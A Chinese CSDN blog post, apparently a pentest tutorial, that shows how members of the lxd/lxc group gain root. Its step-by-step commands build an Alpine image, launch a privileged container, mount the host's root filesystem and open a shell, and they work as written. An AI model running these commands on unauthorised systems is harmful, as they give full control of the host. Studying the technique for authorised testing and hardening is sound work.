lxd&lxc Group提权_lxc提权-程序员宅基地

技术标签: 安全  渗透测试  

lxd和lxc

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。

lxd/lxc Group - 权限提升

如果你属于 lxd 或 lxc 组,你可以利用这个进行提权

在没有互联网的情况下利用

方法一

您可以在您的机器上安装此发行版构建器:https://github.com/lxc/distrobuilder(按照 github 的说明进行操作)

sudo su
#安装环境
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#克隆 repo
sudo go get -d -v github.com/lxc/distrobuilder
#制作 distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
#准备创建 alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#创建容器
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

然后,将文件 lxd.tar.xz rootfs.squashfs 上传到易受攻击的服务器

建镜像

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #您可以看到新导入的镜像

创建容器并添加根路径

lxc init alpine privesc -c security.privileged=true
lxc list #列举容器

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

如果您发现此错误错误:未找到存储池。请创建一个新的存储池 运行 lxd init 并重复前面的命令块

执行

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #这里是文件系统的挂载位置
方法二

构建一个 Alpine 映像并使用标志 security.privileged=true 启动它,强制容器以 root 身份与主机文件系统交互。

# 构建一个简单的alpine镜像
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# 导入镜像
lxc image import ./alpine*.tar.gz --alias myimage # 从受害者机器上的您的主目录执行此操作很重要,否则可能会失败。

# 在运行镜像之前,启动并将 lxd 存储池配置为默认值
lxd init

# 运行镜像
lxc init myimage mycontainer -c security.privileged=true

# 将 /root 挂载到镜像中
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# 与容器交互
lxc start mycontainer
lxc exec mycontainer /bin/sh

或者使用这个:https://github.com/initstring/lxd_root

在有互联网的情况下利用

可以参考这个:https://reboare.github.io/lxd/lxd-escape.html

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true 
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #这里是文件系统的挂载位置
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124152325

智能推荐

python简介_python是时下最流行、最火爆的编程语言之一,具体原因如下:-程序员宅基地

文章浏览阅读121次。目标了解PythonPython的应用领域Python的版本Python介绍Python是时下最流行、最火爆的编程语言之一,具体原因如下:简单、易学,适应人群广泛[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ejlQWHn1-1596174172218)(01-Python简介.assets/image-20190110163249963.png)]免费、开源应用领域广泛[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上_python是时下最流行、最火爆的编程语言之一,具体原因如下:

变量的命名_susuwatari是啥-程序员宅基地

文章浏览阅读120次。标识符和关键字标识符标示符就是程序员定义的变量名、函数名标示符可以由字母;下划线和数字组成;不能以数字开头;不能与关键字重名**关键字关键字 就是在Python内部已经使用的标识符;关键字具有特殊的功能和含义;开发者不允许定义和关键字相同的名字的标示符通过以下命令可以查看 Python中的关键字pythonIn [1]: import keywordIn [2]: prin..._susuwatari是啥

fs-程序员宅基地

文章浏览阅读514次。文件操作描述os.Create创建文件os.IsNotExist判断文件是否存在os.MkdirAll创建目录os.OpenFile文件读取os.Remove删除文件os.RemoveAll删除文件文件信息os.Statos.Stat函数用于获取文件属性,返回描述文件信息的fs.FileInfo类型值,通过它可以获取对应接口信..._fs.fileinfo.name

NestedScrolling 嵌套滑动机制:简单实践(一)_setenablenestedscroll-程序员宅基地

文章浏览阅读1.2w次,点赞2次,收藏8次。一、前言NestedScrollView 机制是周三听其他组的同学分享才知道的。谈起技术分享,让我学习很多:关于视野:学习这件事情,从来不是孤军奋战,应该多多交流和分析、讨论。正如爱尔兰作家说:你有一个苹果,我有一个苹果,我们交换一下,一人还是一个苹果;但是,你有一个思想,我有一个思想,我们交换一下,一人就有两个思想。交流的重要性。关于表达:分享的同学表达能力很强,能清楚的明白参数方法的概念,这_setenablenestedscroll

Vert.x中文文档_vertx 中文-程序员宅基地

文章浏览阅读1.2w次,点赞2次,收藏7次。https://vertxchina.github.io/vertx-translation-chinese/_vertx 中文

vue如何进行SEO优化? --- prerender-spa-plugin_b lili vue项目seo优化-预渲染prerender-spa-plugin配置-程序员宅基地

文章浏览阅读729次。Vue是单页面应用,所以对于SEO并不友好。那么如何进行SEO优化呢???Vue实现SEO优化一、实现方案二、预渲染prerender-spa-plugin1.安装插件2.vue.config.js配置3. main.js配置一、实现方案SSR服务器渲染预渲染prerender-spa-plugin使用Phantomjs针对爬虫做处理关于SSR服务器渲染,可查看 【官网介绍 】二、预渲染prerender-spa-plugin使用步骤:1.安装插件yarn add prerender_b lili vue项目seo优化-预渲染prerender-spa-plugin配置

随便推点

selenium+python面试题目总结-程序员宅基地

文章浏览阅读903次。1. WebDriver原理webDriver是按照client/server模式设计,client就是我们的测试代码,发送请求,server就是打开的浏览器来打开client发出的请求并做出响应。具体的工作流程:·webdriver打开浏览器并绑定到指定端口。启动的浏览器作为remote server.·client通过commandExecuter发送httpRequ..._selenium+python自动化测试面试题

JavaScript中的经典案例(防抖与节流)_js防抖节流案例-程序员宅基地

文章浏览阅读129次。首先我们创建一个窗口的滚动事件每0.5秒输出一次1 <script> window.onscroll = function () { setTimeout(function () { console.log(1); }, 100) } </script>当我们按一下方向键发现窗口滚动事件触发了八次,如果是滚动窗口时间会触发更多次,如果我们和服务器交互时..._js防抖节流案例

burp抓取ios的数据包_qq邮箱安装burp证书-程序员宅基地

文章浏览阅读896次。1.将证书安装在ios中通过qq邮箱将在火狐浏览器-设置-隐私安全查看证书-证书颁发机构-导出PortSwiggerCA.crt发送到ios手机中2.双击安装PortSwiggerCA.crt,提示到设置-通用-描述文件-安装信任3.设置->通用->关于本机->证书信任设置,将burpsuite的证书开启即可4.设置ios代理,burp代理开始抓包..._qq邮箱安装burp证书

大道至简 第四章 读后随笔-程序员宅基地

文章浏览阅读63次。第四章,作者主要向我们深刻地说明了软件工程中流于形式的沟通问题,并论述了作为开发人员、程序员的我们应该如何与顾客进行有效的沟通。要知道流于形式的沟通,可能是使得你的项目被不断推翻和不断延迟的最直接原因。客户是不可能学会C语言的,也别妄想用作需求建模来与顾客进行沟通。在很多情况下,软件项目开发的需求调研是非常难得,因为开发团队不懂业务,客户不懂实现。在这种情况下,专业的咨询公...

机器学习可解释性-程序员宅基地

文章浏览阅读1.2k次,点赞6次,收藏25次。在这个阶段,我们使用一些解释技术,如局部模型解释、特征重要性分析、影响力分析等,来帮助我们理解模型是如何做出预测的,哪些特征对预测结果产生了重要影响,以及模型的决策是否合理和可信。事后可解释性的优点是,即使我们在构建模型时没有考虑可解释性,通过后续的解释分析,仍然可以获得对模型的解释,从而增强对模型的理解和信任。可解释性的重要性包括满足人类的好奇心和学习需求,协调知识结构中元素之间的矛盾,检测模型的偏见,增加社会接受度,并用于管理社会互动。置信区间是对权重估计的范围,它以一定的置信度覆盖“真实”权重。_机器学习可解释性

优雅地在markdown插入图片_优雅的嵌入markdown-程序员宅基地

文章浏览阅读4.7w次,点赞17次,收藏3次。markdown 中插入图片,好烦!!!  喜欢用Markdown写文字,但是它的图片引用是一个大问题(当然csdn不会遇到这个问题)。借用第三方将图片储存在印象笔记上是一个好办法。但是会出现的一个问题就是,如果没有网络怎么办,三方出了问题了怎么办?能否将图片保存在本地让本地的Markdown软件调用呢?  网上找的一个方法 一个图床,支持粘贴上传、拖放上传,一键复制 markdown 链接,重要_优雅的嵌入markdown